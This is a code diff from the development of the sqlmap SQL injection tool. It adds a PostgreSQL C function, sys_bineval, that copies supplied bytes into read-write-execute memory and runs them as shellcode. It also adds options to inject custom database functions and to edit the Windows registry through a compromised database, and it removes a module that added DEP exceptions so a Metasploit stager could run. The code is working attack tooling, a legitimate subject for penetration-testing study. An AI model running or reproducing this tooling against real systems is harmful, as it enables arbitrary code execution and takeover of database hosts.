|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
|
|
@ -25,14 +25,23 @@
|
|||
#define BUILDING_DLL 1
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#include <postgres.h>
|
||||
#include <fmgr.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
#ifdef PG_MODULE_MAGIC
|
||||
PG_MODULE_MAGIC;
|
||||
#endif
|
||||
|
@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
|
|
@ -125,6 +125,10 @@ def action():
|
|||
if conf.sqlShell:
|
||||
conf.dbmsHandler.sqlShell()
|
||||
|
||||
# User-defined function options
|
||||
if conf.udfInject:
|
||||
conf.dbmsHandler.udfInjectCustom()
|
||||
|
||||
# File system options
|
||||
if conf.rFile:
|
||||
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
|
||||
|
@ -148,6 +152,16 @@ def action():
|
|||
if conf.osBof:
|
||||
conf.dbmsHandler.osBof()
|
||||
|
||||
# Windows registry options
|
||||
if conf.regRead:
|
||||
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
|
||||
|
||||
if conf.regAdd:
|
||||
conf.dbmsHandler.regAdd()
|
||||
|
||||
if conf.regDel:
|
||||
conf.dbmsHandler.regDel()
|
||||
|
||||
# Miscellaneous options
|
||||
if conf.cleanup:
|
||||
conf.dbmsHandler.cleanup()
|
||||
|
|
|
@ -137,6 +137,7 @@ def start():
|
|||
logMsg = "testing url %s" % targetUrl
|
||||
logger.info(logMsg)
|
||||
|
||||
createTargetDirs()
|
||||
initTargetEnv()
|
||||
|
||||
if not checkConnection() or not checkString() or not checkRegexp():
|
||||
|
@ -259,7 +260,6 @@ def start():
|
|||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
||||
|
|
|
@ -431,6 +431,9 @@ def readInput(message, default=None):
|
|||
else:
|
||||
data = raw_input(message)
|
||||
|
||||
if not data:
|
||||
data = default
|
||||
|
||||
return data
|
||||
|
||||
|
||||
|
|
|
@ -861,7 +861,7 @@ def __setKnowledgeBaseAttributes():
|
|||
kb.injType = None
|
||||
|
||||
# Back-end DBMS underlying operating system fingerprint via banner (-b)
|
||||
# parsing or when knowing the OS is mandatory (i.g. dealing with DEP)
|
||||
# parsing
|
||||
kb.os = None
|
||||
kb.osVersion = None
|
||||
kb.osSP = None
|
||||
|
|
|
@ -29,7 +29,7 @@ optDict = {
|
|||
"Target": {
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"googleDork": "string",
|
||||
"googleDork": "string"
|
||||
},
|
||||
|
||||
"Request": {
|
||||
|
@ -45,7 +45,7 @@ optDict = {
|
|||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
"timeout": "float",
|
||||
"timeout": "float"
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
|
@ -57,7 +57,7 @@ optDict = {
|
|||
"string": "string",
|
||||
"regexp": "string",
|
||||
"eString": "string",
|
||||
"eRegexp": "string",
|
||||
"eRegexp": "string"
|
||||
},
|
||||
|
||||
"Techniques": {
|
||||
|
@ -65,11 +65,11 @@ optDict = {
|
|||
"timeTest": "boolean",
|
||||
"unionTest": "boolean",
|
||||
"uTech": "string",
|
||||
"unionUse": "boolean",
|
||||
"unionUse": "boolean"
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
"extensiveFp": "boolean",
|
||||
"extensiveFp": "boolean"
|
||||
},
|
||||
|
||||
"Enumeration": {
|
||||
|
@ -92,14 +92,21 @@ optDict = {
|
|||
"excludeSysDbs": "boolean",
|
||||
"limitStart": "integer",
|
||||
"limitStop": "integer",
|
||||
"firstChar": "integer",
|
||||
"lastChar": "integer",
|
||||
"query": "string",
|
||||
"sqlShell": "boolean",
|
||||
"sqlShell": "boolean"
|
||||
},
|
||||
|
||||
"User-defined function": {
|
||||
"udfInject": "boolean",
|
||||
"shLib": "string"
|
||||
},
|
||||
|
||||
"File system": {
|
||||
"rFile": "string",
|
||||
"wFile": "string",
|
||||
"dFile": "string",
|
||||
"dFile": "string"
|
||||
},
|
||||
|
||||
"Takeover": {
|
||||
|
@ -110,7 +117,17 @@ optDict = {
|
|||
"osBof": "boolean",
|
||||
"privEsc": "boolean",
|
||||
"msfPath": "string",
|
||||
"tmpPath": "string",
|
||||
"tmpPath": "string"
|
||||
},
|
||||
|
||||
"Windows": {
|
||||
"regRead": "boolean",
|
||||
"regAdd": "boolean",
|
||||
"regDel": "boolean",
|
||||
"regKey": "string",
|
||||
"regVal": "string",
|
||||
"regData": "string",
|
||||
"regType": "string"
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
|
@ -119,6 +136,6 @@ optDict = {
|
|||
"updateAll": "boolean",
|
||||
"sessionFile": "string",
|
||||
"batch": "boolean",
|
||||
"cleanup": "boolean",
|
||||
"cleanup": "boolean"
|
||||
},
|
||||
}
|
||||
|
|
|
@ -260,17 +260,6 @@ def setRemoteTempPath():
|
|||
dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], conf.tmpPath))
|
||||
|
||||
|
||||
def setDEP():
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("DEP") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][%s][%s][DEP][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.dep))
|
||||
|
||||
|
||||
|
||||
def resumeConfKb(expression, url, value):
|
||||
if expression == "String" and url == conf.url:
|
||||
string = value[:-1]
|
||||
|
@ -460,10 +449,3 @@ def resumeConfKb(expression, url, value):
|
|||
logMsg = "resuming remote absolute path of temporary "
|
||||
logMsg += "files directory '%s' from session file" % conf.tmpPath
|
||||
logger.info(logMsg)
|
||||
|
||||
elif expression == "DEP" and url == conf.url:
|
||||
kb.dep = value[:-1]
|
||||
|
||||
logMsg = "resuming DEP system policy value '%s' " % kb.dep
|
||||
logMsg += "from session file"
|
||||
logger.info(logMsg)
|
||||
|
|
|
@ -30,7 +30,7 @@ import sys
|
|||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.8-dev1"
|
||||
VERSION = "0.8-rc1"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
|
|
|
@ -33,6 +33,7 @@ from lib.core.common import parseTargetUrl
|
|||
from lib.core.convert import urldecode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
|
@ -116,7 +117,12 @@ def __setOutputResume():
|
|||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
if not conf.sessionFile:
|
||||
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
|
||||
|
||||
logger.info("using '%s' as session file" % conf.sessionFile)
|
||||
|
||||
if os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
|
@ -154,13 +160,12 @@ def __setOutputResume():
|
|||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
|
||||
def __createFilesDir():
|
||||
|
@ -191,6 +196,25 @@ def __createDumpDir():
|
|||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
Initialize target environment.
|
||||
|
@ -213,22 +237,3 @@ def initTargetEnv():
|
|||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
|
|
@ -62,7 +62,6 @@ def cmdLineParser():
|
|||
target.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options can be used "
|
||||
"to specify how to connect to the target url.")
|
||||
|
@ -115,7 +114,6 @@ def cmdLineParser():
|
|||
help="Retries when the connection timeouts "
|
||||
"(default 3)")
|
||||
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||
"used to specify which parameters to test "
|
||||
|
@ -156,7 +154,6 @@ def cmdLineParser():
|
|||
help="Matches to be excluded before "
|
||||
"comparing page contents")
|
||||
|
||||
|
||||
# Techniques options
|
||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||
"be used to test for specific SQL injection "
|
||||
|
@ -191,7 +188,6 @@ def cmdLineParser():
|
|||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
|
@ -273,6 +269,12 @@ def cmdLineParser():
|
|||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||
help="First query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||
help="Last query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL statement to be executed")
|
||||
|
||||
|
@ -280,6 +282,16 @@ def cmdLineParser():
|
|||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
# User-defined function options
|
||||
udf = OptionGroup(parser, "User-defined function injection", "These "
|
||||
"options can be used to create custom user-defined "
|
||||
"functions.")
|
||||
|
||||
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||
help="Inject custom user-defined functions")
|
||||
|
||||
udf.add_option("--shared-lib", dest="shLib",
|
||||
help="Local path of the shared library")
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
|
@ -335,6 +347,33 @@ def cmdLineParser():
|
|||
help="Remote absolute path of temporary files "
|
||||
"directory")
|
||||
|
||||
# Windows registry options
|
||||
windows = OptionGroup(parser, "Windows registry access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system Windows "
|
||||
"registry.")
|
||||
|
||||
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||
help="Read a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||
help="Write a Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||
help="Delete a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-key", dest="regKey",
|
||||
help="Windows registry key")
|
||||
|
||||
windows.add_option("--reg-value", dest="regVal",
|
||||
help="Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-data", dest="regData",
|
||||
help="Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-type", dest="regType",
|
||||
help="Windows registry key value type")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
|
@ -365,8 +404,10 @@ def cmdLineParser():
|
|||
parser.add_option_group(techniques)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(udf)
|
||||
parser.add_option_group(filesystem)
|
||||
parser.add_option_group(takeover)
|
||||
parser.add_option_group(windows)
|
||||
parser.add_option_group(miscellaneous)
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
|
|
@ -134,6 +134,10 @@ class queriesHandler(ContentHandler):
|
|||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isDba = data
|
||||
|
||||
elif name == "check_udf":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.checkUdf = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
|
|
|
@ -45,7 +45,7 @@ from lib.utils.resume import queryOutputLength
|
|||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __goInference(payload, expression, charsetType=None):
|
||||
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None):
|
||||
start = time.time()
|
||||
|
||||
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
|
||||
|
@ -55,7 +55,7 @@ def __goInference(payload, expression, charsetType=None):
|
|||
|
||||
dataToSessionFile("[%s][%s][%s][%s][" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression))
|
||||
|
||||
count, value = bisection(payload, expression, length, charsetType)
|
||||
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if conf.eta and length:
|
||||
|
@ -68,7 +68,7 @@ def __goInference(payload, expression, charsetType=None):
|
|||
return value
|
||||
|
||||
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None):
|
||||
def __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected=None, num=None, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
outputs = []
|
||||
origExpr = None
|
||||
|
||||
|
@ -96,7 +96,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
warnMsg += "sqlmap is going to retrieve the value again"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
output = __goInference(payload, expressionReplaced, charsetType)
|
||||
output = __goInference(payload, expressionReplaced, charsetType, firstChar, lastChar)
|
||||
|
||||
if isinstance(num, int):
|
||||
expression = origExpr
|
||||
|
@ -106,7 +106,7 @@ def __goInferenceFields(expression, expressionFields, expressionFieldsList, payl
|
|||
return outputs
|
||||
|
||||
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None):
|
||||
def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Retrieve the output of a SQL query characted by character taking
|
||||
advantage of an blind SQL injection vulnerability on the affected
|
||||
|
@ -133,7 +133,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||
return output
|
||||
|
||||
if unpack == False:
|
||||
return __goInference(payload, expression, charsetType)
|
||||
return __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
if kb.dbmsDetected:
|
||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
|
@ -226,7 +226,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||
|
||||
if not stopLimit:
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression, charsetType)
|
||||
count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)
|
||||
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
@ -297,7 +297,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType)
|
||||
output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
outputs.append(output)
|
||||
|
||||
return outputs
|
||||
|
@ -305,12 +305,12 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
|
|||
elif kb.dbms == "Oracle" and expression.startswith("SELECT ") and " FROM " not in expression:
|
||||
expression = "%s FROM DUAL" % expression
|
||||
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType)
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
else:
|
||||
returnValue = __goInference(payload, expression, charsetType)
|
||||
returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)
|
||||
|
||||
return returnValue
|
||||
|
||||
|
@ -345,7 +345,7 @@ def __goInband(expression, expected=None, sort=True, resumeValue=True, unpack=Tr
|
|||
return data
|
||||
|
||||
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None):
|
||||
def getValue(expression, blind=True, inband=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None):
|
||||
"""
|
||||
Called each time sqlmap inject a SQL query on the SQL injection
|
||||
affected parameter. It can call a function to retrieve the output
|
||||
|
@ -375,7 +375,7 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
|||
conf.paramNegative = False
|
||||
|
||||
if blind and not value:
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType)
|
||||
value = __goInferenceProxy(expression, fromUser, expected, batch, resumeValue, unpack, charsetType, firstChar, lastChar)
|
||||
|
||||
conf.paramFalseCond = oldParamFalseCond
|
||||
conf.paramNegative = oldParamNegative
|
||||
|
|
|
@ -48,9 +48,22 @@ class Abstraction(UDF, xp_cmdshell):
|
|||
xp_cmdshell.__init__(self)
|
||||
|
||||
|
||||
def __cmdShellCleanup(self):
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def execCmd(self, cmd, silent=False, forgeCmd=False):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfExecCmd(cmd, silent)
|
||||
self.udfExecCmd(cmd, silent=silent)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellExecCmd(cmd, silent, forgeCmd)
|
||||
|
@ -60,12 +73,12 @@ class Abstraction(UDF, xp_cmdshell):
|
|||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
|
||||
def evalCmd(self, cmd):
|
||||
def evalCmd(self, cmd, first=None, last=None):
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
return self.udfEvalCmd(cmd)
|
||||
return self.udfEvalCmd(cmd, first, last)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
return self.xpCmdshellEvalCmd(cmd)
|
||||
return self.xpCmdshellEvalCmd(cmd, first, last)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
|
@ -89,8 +102,8 @@ class Abstraction(UDF, xp_cmdshell):
|
|||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
if not conf.osShell and not conf.cleanup:
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def absOsShell(self):
|
||||
|
@ -138,20 +151,11 @@ class Abstraction(UDF, xp_cmdshell):
|
|||
|
||||
self.runCmd(command)
|
||||
|
||||
if not conf.cleanup:
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.cleanup()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
|
||||
def initEnv(self, mandatory=True, detailed=False):
|
||||
if self.envInitialized == True:
|
||||
if self.envInitialized is True:
|
||||
return
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
|
@ -162,11 +166,11 @@ class Abstraction(UDF, xp_cmdshell):
|
|||
logger.warn(warnMsg)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.udfInit()
|
||||
self.udfInjectCmd()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
|
||||
else:
|
||||
errMsg = "Feature not yet implemented for the back-end DBMS"
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
|
|
@ -1,171 +0,0 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setDEP
|
||||
|
||||
|
||||
class DEP:
|
||||
"""
|
||||
This class defines methods to handle DEP (Data Execution Prevention)
|
||||
|
||||
The following operating systems has DEP enabled by default:
|
||||
* Windows XP SP2+
|
||||
* Windows Server 2003 SP1+
|
||||
* Windows Vista SP0+
|
||||
* Windows 2008 SP0+
|
||||
|
||||
References:
|
||||
* http://support.microsoft.com/kb/875352
|
||||
* http://en.wikipedia.org/wiki/Data_Execution_Prevention
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.bypassDEP = False
|
||||
self.__supportDEP = False
|
||||
|
||||
|
||||
def __initVars(self, exe):
|
||||
self.__DEPvalues = {
|
||||
"OPTIN": "only Windows system binaries are covered by DEP by default",
|
||||
"OPTOUT": "DEP is enabled by default for all processes, exceptions are allowed",
|
||||
"ALWAYSON": "all processes always run with DEP applied, no exceptions allowed, giving it a try anyway",
|
||||
"ALWAYSOFF": "no DEP coverage for any part of the system"
|
||||
}
|
||||
self.__excRegKey = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
|
||||
self.__excRegValue = exe
|
||||
self.__excRegValue = self.__excRegValue.replace("/", "\\")
|
||||
|
||||
|
||||
def __addException(self):
|
||||
infoMsg = "adding an exception to DEP in the Windows registry "
|
||||
infoMsg += "for '%s' executable" % self.__excRegValue
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL server runs as postgres "
|
||||
warnMsg += "user which has no privileges to add/delete "
|
||||
warnMsg += "Windows registry keys, sqlmap will give it a try "
|
||||
warnMsg += "anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.addRegKey(self.__excRegKey, self.__excRegValue, "REG_SZ", "DisableNXShowUI")
|
||||
|
||||
|
||||
def delException(self):
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
infoMsg = "deleting the exception to DEP in the Windows registry "
|
||||
infoMsg += "for Metasploit Framework 3 payload stager"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(self.__excRegKey, self.__excRegValue)
|
||||
|
||||
|
||||
def __analyzeDEP(self):
|
||||
detectedValue = False
|
||||
|
||||
for value, explanation in self.__DEPvalues.items():
|
||||
if value in kb.dep:
|
||||
detectedValue = True
|
||||
|
||||
if value in ( "OPTIN", "ALWAYSOFF" ):
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = False
|
||||
|
||||
elif value == "OPTOUT":
|
||||
logger.info(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
elif value == "ALWAYSON":
|
||||
logger.warn(explanation)
|
||||
|
||||
self.bypassDEP = True
|
||||
self.__addException()
|
||||
|
||||
if detectedValue == False:
|
||||
warnMsg = "it was not possible to detect the DEP system "
|
||||
warnMsg += "policy, sqlmap will threat as if "
|
||||
warnMsg += "%s" % self.__DEPvalues["OPTOUT"]
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__addException()
|
||||
|
||||
|
||||
def __systemHasDepSupport(self):
